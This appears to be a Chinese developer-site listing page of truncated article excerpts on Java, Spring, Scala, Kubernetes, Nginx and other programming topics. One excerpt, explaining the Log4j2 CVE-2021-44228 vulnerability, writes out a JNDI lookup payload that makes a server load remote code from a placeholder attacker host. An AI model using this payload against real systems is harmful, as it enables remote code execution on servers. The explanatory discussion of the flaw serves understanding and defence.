- Scala核心技术总结(1)
淋一遍下雨天
scala开发语言后端
第1章Scala入门1.1Scala概述为什么学习Scala:Spark框架是用Scala编写的,学习Scala有助于更好地理解和学习Spark。Scala结合了面向对象和函数式编程的特性,是一种多范式编程语言。Scala基于JVM,可以与Java无缝交互,兼容Java类库。Scala发展历史:由MartinOdersky设计,融合了函数式编程和面向对象编程的特点。Scala推动了Java语言的发
- ThreadLocalMap的作用和特点
努力的搬砖人.
java后端面试
ThreadLocalMap是Java中ThreadLocal类的一个静态内部类,用于存储每个线程的局部变量。以下是ThreadLocalMap的详细作用和特点:结构设计•自定义的哈希表:ThreadLocalMap是一个定制的哈希表,它不实现Java标准的Map接口,而是使用独立的方式实现了Map的功能。•弱引用键:ThreadLocalMap中的键是ThreadLocal的弱引用,这样可以防止
- ConcurrentHashMap 底层具体实现知道吗?实现原理是什么?
低头不见
开发语言java后端
ConcurrentHashMap是Java并发编程中常用的线程安全哈希表实现,其设计目标是在高并发场景下兼顾性能和线程安全。它的底层实现(以JDK8及之后版本为例)结合了多种并发优化技术,以下是其核心实现原理:1.数据结构:数组+链表+红黑树基础结构:与HashMap类似,底层是一个Node[]数组,每个数组元素称为一个“桶”(Bucket)。链表转红黑树:当链表长度超过阈值(默认8)时,链表会
- function vs const 定义函数的区别
YiHanXii
前端基础知识javascript前端开发语言
functionvsconst定义函数的区别在JavaScript中,我们可以使用function关键字和const+箭头函数(=>)来定义函数,它们在作用域、提升(Hoisting)、this绑定等方面有所不同。1️⃣语法区别//使用function关键字定义函数functionsayHello(){console.log("Hello!");}//使用const+箭头函数定义函数constsa
- Spring笔记06-数据持久化
梅羽落
Springspring笔记java
在Spring中,数据持久化是将应用程序中的数据保存到持久化存储(如数据库)中的过程,主要通过以下几种方式实现:1.JDBC(JavaDatabaseConnectivity)原理:JDBC是Java访问关系型数据库的标准API,提供了与数据库建立连接、执行SQL语句、处理结果集等功能。Spring对JDBC进行了封装,通过JdbcTemplate等工具类简化数据库操作,降低了使用原生JDBC时繁
- 深入解析Kubernetes Pod沙箱创建失败问题:从错误日志到解决方案
码农阿豪@新空间
包罗万象kubernetes容器云原生
个人名片作者简介:java领域优质创作者个人主页:码农阿豪工作室:新空间代码工作室(提供各种软件服务)个人邮箱:[2435024119@qq.com]个人微信:15279484656个人导航网站:www.forff.top座右铭:总有人要赢。为什么不能是我呢?专栏导航:码农阿豪系列专栏导航面试专栏:收集了java相关高频面试题,面试实战总结️Spring5系列专栏:整理了Spring5重要知识点与
- JavaWeb开发基础知识-Listener
Eugene__Chen
hivehadoop数据仓库
(✪▽✪)曼波~~~~!欢迎来到曼波的JavaWeb小课堂~(转圈撒花)今天我们要学习像小精灵一样悄悄工作的Listener哦!(๑>ᴗcom.mambo.MyListener注解配置(超方便!)@WebListener//像贴便利贴一样简单~publicclassMyListenerimplementsServletContextListener{//...}实战案例:在线人数统计哦呜(°ロ°)
- Java集合中的Set详解(带脑图)
Eugene__Chen
面试准备java开发语言
在Java中,Set是一种不允许包含重复元素的集合。它继承自Collection接口,并且没有定义任何额外的方法。Set的主要实现类有HashSet、LinkedHashSet和TreeSet。下面我会详细讲解这些集合类的特点、使用场景以及常见操作。1.Set的基本特性不允许重复元素:Set中的元素是唯一的,如果尝试添加重复元素,Set会忽略该操作。无序性:Set中的元素没有特定的顺序(除了Lin
- Leetcode.每日温度(JAVA)
樱花山下
leetcode刷题leetcodejava算法
classSolution{publicint[]dailyTemperatures(int[]temperatures){intn=temperatures.length;int[]ans=newint[n];inttop=0;int[]stack=newint[n+1];for(inti=n-1;i>=0;i--){inttemp=temperatures[i];while(top!=0&&t
- JavaWeb开发基础知识-Servlet终极入门指南(曼波萌新版)
Eugene__Chen
servlethivehadoop
(✪▽✪)曼波~~~~!欢迎来到Servlet新手村!准备好开启Web开发的奇妙冒险了吗?让曼波用最有趣的方式带你飞~第①章什么是Servlet?//本质就是一个Java类!publicclassHelloServletextendsHttpServlet{//专门处理HTTP请求的小管家}官方定义:运行在服务器端的Java程序核心作用:接收请求→处理业务→返回响应生活比喻:就像餐厅的服务员(接单
- Java字符串(String)
a18007931080
java开发语言
从表面上看,字符串就是双引号之间的数据,例如“微学苑”、“http://www.weixueyuan.net”等。在Java中,可以使用下面的方法定义字符串:StringstringName="stringcontent";例如:Stringurl="http://www.weixueyuan.net";StringwebName="微学苑";字符串可以通过“+”连接,基本数据类型与字符串进行“+
- Java在体育比分直播系统搭建中的应用
sanx18
java开发语言
Java因其高并发处理能力、稳定性和丰富的网络编程支持,成为构建体育比分直播系统的理想选择。以下是Java在该领域的具体应用和技术实现:一、核心功能实现1.实时数据采集与处理多线程爬虫:使用Java的ExecutorService和CompletableFuture构建高并发数据采集系统WebSocket客户端:通过Tyrus或Java-WebSocket库连接数据供应商的实时推送接口数据清洗:利
- 【LeetCode-java】复习专题(4):贪心算法[0804]
招财猫qwq
LeetCode贪心算法
200804今天复习专题写的是贪心算法的122.买卖股票的最佳时机II、55.跳跃游戏JumpGame和134.加油站GasStation。文章目录4.贪心算法122.买卖股票的最佳时机IIBestTimetoBuyansSellStockII55.跳跃游戏JumpGame134.加油站GasStation4.贪心算法今天不讲太多太难的题了,就讲一下贪心算法。贪心算法还是很要有研究的。《算法导论》
- 在Ubuntu上安装MEAN Stack的4个步骤
在Ubuntu上安装MEANStack的4个步骤为:1.安装MEAN;2.安装MongoDB;3.安装NodeJS,Git和NPM;4.安装剩余的依赖项。什么是MEANStack?平均堆栈一直在很大程度上升高为基于稳健的基于JavaScript的开发堆栈。名称的意思是指其组件;MongoDB,ExpressJS,Angularjs和NodeJS。第1步:安装MEAN对于此安装,我们将在本指南中使用
- Java必会项目——学生管理系统(升级版)
举一个梨子zz
java开发语言需求分析个人开发敏捷流程
需求:为学生管理系统书写一个登陆、注册、忘记密码的功能只有用户登录成功之后,才能进入到学生管理系统中进行增删改查操作。分析:登录界面:System.out.println("欢迎来到学生管理系统");System.out.println("请选择操作1登录2注册3忘记密码");用户类:属性:用户名、密码、身份证号码、手机号码注册功能:1,用户名需要满足以下要求:验证要求:用户名唯一用户名长度必须在
- 如何理解Spring和SpringMVC?
在努力的韩小豪
springjava后端SpringMVCMVCJavaWeb
前言Spring和SpringMVC是Java生态中广泛使用的两个框架,它们的核心区别在于功能定位和应用场景不同。核心定义Spring轻量级的企业级开发框架,提供IOC(控制反转)、AOP(面向切面编程)等核心功能;用于整合和管理应用程序的各个层次。SpringMVCSpring的Web模块,基于MVC设计模式,专门用于简化Web层开发(如HTTP请求处理、视图渲染等)。核心功能对比核心功能Spr
- java 1.7 异步函数,使用elasticsearch-rest-high-level-client 7.3.1版本的异步方法报错ConnectionClosedException...
古怪小姐爱喝酒
java1.7异步函数
使用elasticsearch-rest-high-level-client7.3.1版本的异步方法报错ConnectionClosedExceptionElasticsearch|作者try2learn|发布于2019年09月14日|阅读数:5729服务端使用的是elasticsearch7.3.1版本,java端使用elasticsearch-rest-high-level-client7.3
- 【高频java面试题】Spring、SpringMVC和Springboot的区别
web18296061989
javajava后端
1、问?)Spring、SpringMVC和Springboot的区别背景!相关概念1)、何为Spring?Spring是一个轻量级的DI/IOC和AOP容器的开源框架;Spring提倡以“最少侵入”的方式来管理应用中的代码;优势:低侵入/低耦合(降低组件之间的耦合度,实现软件各层之间的解耦)声明式事务管理(基于切面和惯例)方便集成其他框架(如MyBatis、Hibernate等)降低Java开发
- Maven安装与配置完整指南
遥不可及~~斌
mavenjava
Maven安装与配置完整指南1.前言ApacheMaven是一个强大的项目管理和构建工具,广泛应用于Java项目开发。它通过POM(ProjectObjectModel)文件管理项目依赖,并提供了标准化的构建流程。本文详细介绍Maven的下载、安装、环境配置、镜像加速、IDE集成以及常见问题解决,帮助开发者快速搭建Maven环境。2.准备工作2.1系统要求项目要求JDK版本JDK1.7+(推荐JD
- MySQL数据库部分常见函数---单行函数
BEYONDmonster
数据库MySQL常见函数-单行函数
常见函数:概念:类似于Java的方法,将一组逻辑语句封装在方法体中,对外暴露方法名。包括单行函数和分组函数。好处:隐藏了实现细节,提高代码的重用性。调用:select函数名(实参列表)from表;单行函数:字符函数:1.1获取字符串字节长度length():返回的是字节数,一个字母占1字节,一个汉字占3字节selectlength(‘某字段’);可以通过showvartableslike‘%cha
- Java应用配置动态刷新的秘密武器——Spring Cloud Config与@RefreshScope
墨夶
Java学习资料1java开发语言
在当今快速变化的软件开发环境中,应用程序的灵活性和响应速度成为了衡量其竞争力的重要指标之一。对于那些部署在云端或微服务架构中的Java应用来说,能够在不停机的情况下实现配置的即时更新,无疑是提升用户体验、降低运维成本的关键所在。想象一下,在一个高并发、低延迟要求的生产环境中,如果每次需要调整配置参数(如数据库连接池大小、缓存策略等)都必须重启整个应用,这不仅增加了运维成本,也大大降低了用户体验。那
- Spring Cloud动态配置刷新:@RefreshScope与@Component的深度解析
码农阿豪@新空间
包罗万象springcloudspring后端
个人名片作者简介:java领域优质创作者个人主页:码农阿豪工作室:新空间代码工作室(提供各种软件服务)个人邮箱:[2435024119@qq.com]个人微信:15279484656个人导航网站:www.forff.top座右铭:总有人要赢。为什么不能是我呢?专栏导航:码农阿豪系列专栏导航面试专栏:收集了java相关高频面试题,面试实战总结️Spring5系列专栏:整理了Spring5重要知识点与
- 实时数仓Kappa架构:从入门到实战
喜欢猪猪
架构
引言随着大数据技术的不断发展,企业对实时数据处理和分析的需求日益增长。实时数仓(Real-TimeDataWarehouse,RTDW)应运而生,其中Kappa架构作为一种简化的数据处理架构,通过统一的流处理框架,解决了传统Lambda架构中批处理和实时处理的复杂性。本文将深入探讨Kappa架构的历史背景、业务场景、功能点、优缺点、解决的问题以及底层原理,并详细介绍如何使用Java语言快速搭建一套
- Node.js 安装与开发环境配置全指南
赵闪闪168
闪闪精选node.js
**标题:Node.js安装与开发环境配置全指南**---###一、Node.js简介Node.js是一个基于ChromeV8引擎的JavaScript运行时环境,用于构建高效、可扩展的网络应用程序。它以事件驱动、非阻塞I/O为特性,非常适合构建实时应用程序,如聊天系统、API服务器等。---###二、Node.js安装步骤####**1.官方安装方式**#####**(1)访问官网**打开[No
- JAVA ZGC相关GC日志详情分析
wppwpp1
javajvm算法
可以通过设置-Xlog:gc*:gc.log选项以开启ZGC日志。其中"gc*"意为打印所有tag中以"gc"开头的日志,"gc.log"为日志存储路径。下面以AutoMQ在实际运行时的一次GC为例,按照不同的logtag,解释ZGC日志的含义。"gc,start","gc,task","gc"[gc,start]GC(100)GarbageCollection(Timer)[gc,task]GC
- Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)
白8080
log4j
漏洞描述:当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中包含有语句${jndi:ldap:attacker:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该url:ldap:attacker:1099/exp受害主机访问伪造的ldap服务,访问恶意java.class类,执行恶意代码。如果ldap没有解析成功会自动访问http
- html视频自动缩放,HTML5 视频(videos)缩放JavaScript插件
韩睿芝
html视频自动缩放
简要教程video-resize是一款可以对HTML5视频(videos)进行缩放的JavaScript插件。插件中设置了不同的响应式断点,并通过插入样式表的方式来修改HTML5视频的显示尺寸。使用方法使用该插件需要在页面中引入video-resize.min.js文件。HTML结构可以使用一个元素来作为HTML5视频文件的播放器。初始化插件首先创建一个video对象,然后通过init()方法来初
- @PostConstruct 注解详解
_阿演呀
基础知识javaspringboot
@PostConstruct是Java中的一个注解,通常用于在Spring容器初始化后执行某些操作。它是JSR-250规范的一部分,可以用于标记一个方法,这个方法会在类的依赖注入完成后自动执行。通常用于初始化操作或执行一些配置工作。1.@PostConstruct注解的基本概念@PostConstruct注解的功能是在一个类的所有依赖被注入完成后,执行标注的方法。这种方法通常用于类的初始化,初始化
- Java面试题:@PostConstruct、init-method和afterPropertiesSet执行顺序?
猫鱼吐泡泡
Java面试题javaspring面试设计模式开发语言
在Spring框架中,@PostConstruct注解、init-method属性、以及afterPropertiesSet()方法通常用于初始化Bean的逻辑。它们都提供了在Bean创建和初始化完成后执行的方法,但执行顺序有所不同。想要知道@PostConstruct、init-method、afterPropertiesSet()的执行顺序,只要搞明白它们各自在什么时候被谁调用就行了。代码如下
- Windows 系统中使用 fnm 安装 Node.js 的完整指南
dbcccccsds
windowsnode.js
在开发JavaScript应用时,管理不同版本的Node.js是一项常见需求。FastNodeManager(fnm)是一款轻量级的Node.js版本管理工具,它让我们能够轻松地在不同版本之间切换。本文将详细介绍如何在Windows系统中使用fnm安装和配置Node.js。安装步骤1.安装fnm首先,我们需要使用Windows包管理器(winget)安装fnm:#下载并安装fnmwingetins
- 基本数据类型和引用类型的初始值
3213213333332132
java基础
package com.array;
/**
* @Description 测试初始值
* @author FuJianyong
* 2015-1-22上午10:31:53
*/
public class ArrayTest {
ArrayTest at;
String str;
byte bt;
short s;
int i;
long
- 摘抄笔记--《编写高质量代码:改善Java程序的151个建议》
白糖_
高质量代码
记得3年前刚到公司,同桌同事见我无事可做就借我看《编写高质量代码:改善Java程序的151个建议》这本书,当时看了几页没上心就没研究了。到上个月在公司偶然看到,于是乎又找来看看,我的天,真是非常多的干货,对于我这种静不下心的人真是帮助莫大呀。
看完整本书,也记了不少笔记
- 【备忘】Django 常用命令及最佳实践
dongwei_6688
django
注意:本文基于 Django 1.8.2 版本
生成数据库迁移脚本(python 脚本)
python manage.py makemigrations polls
说明:polls 是你的应用名字,运行该命令时需要根据你的应用名字进行调整
查看该次迁移需要执行的 SQL 语句(只查看语句,并不应用到数据库上):
python manage.p
- 阶乘算法之一N! 末尾有多少个零
周凡杨
java算法阶乘面试效率
&n
- spring注入servlet
g21121
Spring注入
传统的配置方法是无法将bean或属性直接注入到servlet中的,配置代理servlet亦比较麻烦,这里其实有比较简单的方法,其实就是在servlet的init()方法中加入要注入的内容:
ServletContext application = getServletContext();
WebApplicationContext wac = WebApplicationContextUtil
- Jenkins 命令行操作说明文档
510888780
centos
假设Jenkins的URL为http://22.11.140.38:9080/jenkins/
基本的格式为
java
基本的格式为
java -jar jenkins-cli.jar [-s JENKINS_URL] command [options][args]
下面具体介绍各个命令的作用及基本使用方法
1. &nb
- UnicodeBlock检测中文用法
布衣凌宇
UnicodeBlock
/** * 判断输入的是汉字 */ public static boolean isChinese(char c) { Character.UnicodeBlock ub = Character.UnicodeBlock.of(c);
- java下实现调用oracle的存储过程和函数
aijuans
javaorale
1.创建表:STOCK_PRICES
2.插入测试数据:
3.建立一个返回游标:
PKG_PUB_UTILS
4.创建和存储过程:P_GET_PRICE
5.创建函数:
6.JAVA调用存储过程返回结果集
JDBCoracle10G_INVO
- Velocity Toolbox
antlove
模板toolboxvelocity
velocity.VelocityUtil
package velocity;
import org.apache.velocity.Template;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.c
- JAVA正则表达式匹配基础
百合不是茶
java正则表达式的匹配
正则表达式;提高程序的性能,简化代码,提高代码的可读性,简化对字符串的操作
正则表达式的用途;
字符串的匹配
字符串的分割
字符串的查找
字符串的替换
正则表达式的验证语法
[a] //[]表示这个字符只出现一次 ,[a] 表示a只出现一
- 是否使用EL表达式的配置
bijian1013
jspweb.xmlELEasyTemplate
今天在开发过程中发现一个细节问题,由于前端采用EasyTemplate模板方法实现数据展示,但老是不能正常显示出来。后来发现竟是EL将我的EasyTemplate的${...}解释执行了,导致我的模板不能正常展示后台数据。
网
- 精通Oracle10编程SQL(1-3)PLSQL基础
bijian1013
oracle数据库plsql
--只包含执行部分的PL/SQL块
--set serveroutput off
begin
dbms_output.put_line('Hello,everyone!');
end;
select * from emp;
--包含定义部分和执行部分的PL/SQL块
declare
v_ename varchar2(5);
begin
select
- 【Nginx三】Nginx作为反向代理服务器
bit1129
nginx
Nginx一个常用的功能是作为代理服务器。代理服务器通常完成如下的功能:
接受客户端请求
将请求转发给被代理的服务器
从被代理的服务器获得响应结果
把响应结果返回给客户端
实例
本文把Nginx配置成一个简单的代理服务器
对于静态的html和图片,直接从Nginx获取
对于动态的页面,例如JSP或者Servlet,Nginx则将请求转发给Res
- Plugin execution not covered by lifecycle configuration: org.apache.maven.plugin
blackproof
maven报错
转:http://stackoverflow.com/questions/6352208/how-to-solve-plugin-execution-not-covered-by-lifecycle-configuration-for-sprin
maven报错:
Plugin execution not covered by lifecycle configuration:
- 发布docker程序到marathon
ronin47
docker 发布应用
1 发布docker程序到marathon 1.1 搭建私有docker registry 1.1.1 安装docker regisry
docker pull docker-registry
docker run -t -p 5000:5000 docker-registry
下载docker镜像并发布到私有registry
docker pull consol/tomcat-8.0
- java-57-用两个栈实现队列&&用两个队列实现一个栈
bylijinnan
java
import java.util.ArrayList;
import java.util.List;
import java.util.Stack;
/*
* Q 57 用两个栈实现队列
*/
public class QueueImplementByTwoStacks {
private Stack<Integer> stack1;
pr
- Nginx配置性能优化
cfyme
nginx
转载地址:http://blog.csdn.net/xifeijian/article/details/20956605
大多数的Nginx安装指南告诉你如下基础知识——通过apt-get安装,修改这里或那里的几行配置,好了,你已经有了一个Web服务器了。而且,在大多数情况下,一个常规安装的nginx对你的网站来说已经能很好地工作了。然而,如果你真的想挤压出Nginx的性能,你必
- [JAVA图形图像]JAVA体系需要稳扎稳打,逐步推进图像图形处理技术
comsci
java
对图形图像进行精确处理,需要大量的数学工具,即使是从底层硬件模拟层开始设计,也离不开大量的数学工具包,因为我认为,JAVA语言体系在图形图像处理模块上面的研发工作,需要从开发一些基础的,类似实时数学函数构造器和解析器的软件包入手,而不是急于利用第三方代码工具来实现一个不严格的图形图像处理软件......
&nb
- MonkeyRunner的使用
dai_lm
androidMonkeyRunner
要使用MonkeyRunner,就要学习使用Python,哎
先抄一段官方doc里的代码
作用是启动一个程序(应该是启动程序默认的Activity),然后按MENU键,并截屏
# Imports the monkeyrunner modules used by this program
from com.android.monkeyrunner import MonkeyRun
- Hadoop-- 海量文件的分布式计算处理方案
datamachine
mapreducehadoop分布式计算
csdn的一个关于hadoop的分布式处理方案,存档。
原帖:http://blog.csdn.net/calvinxiu/article/details/1506112。
Hadoop 是Google MapReduce的一个Java实现。MapReduce是一种简化的分布式编程模式,让程序自动分布到一个由普通机器组成的超大集群上并发执行。就如同ja
- 以資料庫驗證登入
dcj3sjt126com
yii
以資料庫驗證登入
由於 Yii 內定的原始框架程式, 採用綁定在UserIdentity.php 的 demo 與 admin 帳號密碼: public function authenticate() { $users=array( &nbs
- github做webhooks:[2]php版本自动触发更新
dcj3sjt126com
githubgitwebhooks
上次已经说过了如何在github控制面板做查看url的返回信息了。这次就到了直接贴钩子代码的时候了。
工具/原料
git
github
方法/步骤
在github的setting里面的webhooks里把我们的url地址填进去。
钩子更新的代码如下: error_reportin
- Eos开发常用表达式
蕃薯耀
Eos开发Eos入门Eos开发常用表达式
Eos开发常用表达式
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
蕃薯耀 2014年8月18日 15:03:35 星期一
&
- SpringSecurity3.X--SpEL 表达式
hanqunfeng
SpringSecurity
使用 Spring 表达式语言配置访问控制,要实现这一功能的直接方式是在<http>配置元素上添加 use-expressions 属性:
<http auto-config="true" use-expressions="true">
这样就会在投票器中自动增加一个投票器:org.springframework
- Redis vs Memcache
IXHONG
redis
1. Redis中,并不是所有的数据都一直存储在内存中的,这是和Memcached相比一个最大的区别。
2. Redis不仅仅支持简单的k/v类型的数据,同时还提供list,set,hash等数据结构的存储。
3. Redis支持数据的备份,即master-slave模式的数据备份。
4. Redis支持数据的持久化,可以将内存中的数据保持在磁盘中,重启的时候可以再次加载进行使用。
Red
- Python - 装饰器使用过程中的误区解读
kvhur
JavaScriptjqueryhtml5css
大家都知道装饰器是一个很著名的设计模式,经常被用于AOP(面向切面编程)的场景,较为经典的有插入日志,性能测试,事务处理,Web权限校验, Cache等。
原文链接:http://www.gbtags.com/gb/share/5563.htm
Python语言本身提供了装饰器语法(@),典型的装饰器实现如下:
@function_wrapper
de
- 架构师之mybatis-----update 带case when 针对多种情况更新
nannan408
case when
1.前言.
如题.
2. 代码.
<update id="batchUpdate" parameterType="java.util.List">
<foreach collection="list" item="list" index=&
- Algorithm算法视频教程
栏目记者
Algorithm算法
课程:Algorithm算法视频教程
百度网盘下载地址: http://pan.baidu.com/s/1qWFjjQW 密码: 2mji
程序写的好不好,还得看算法屌不屌!Algorithm算法博大精深。
一、课程内容:
课时1、算法的基本概念 + Sequential search
课时2、Binary search
课时3、Hash table
课时4、Algor
- C语言算法之冒泡排序
qiufeihu
c算法
任意输入10个数字由小到大进行排序。
代码:
#include <stdio.h>
int main()
{
int i,j,t,a[11]; /*定义变量及数组为基本类型*/
for(i = 1;i < 11;i++){
scanf("%d",&a[i]); /*从键盘中输入10个数*/
}
for
- JSP异常处理
wyzuomumu
Webjsp
1.在可能发生异常的网页中通过指令将HTTP请求转发给另一个专门处理异常的网页中:
<%@ page errorPage="errors.jsp"%>
2.在处理异常的网页中做如下声明:
errors.jsp:
<%@ page isErrorPage="true"%>,这样设置完后就可以在网页中直接访问exc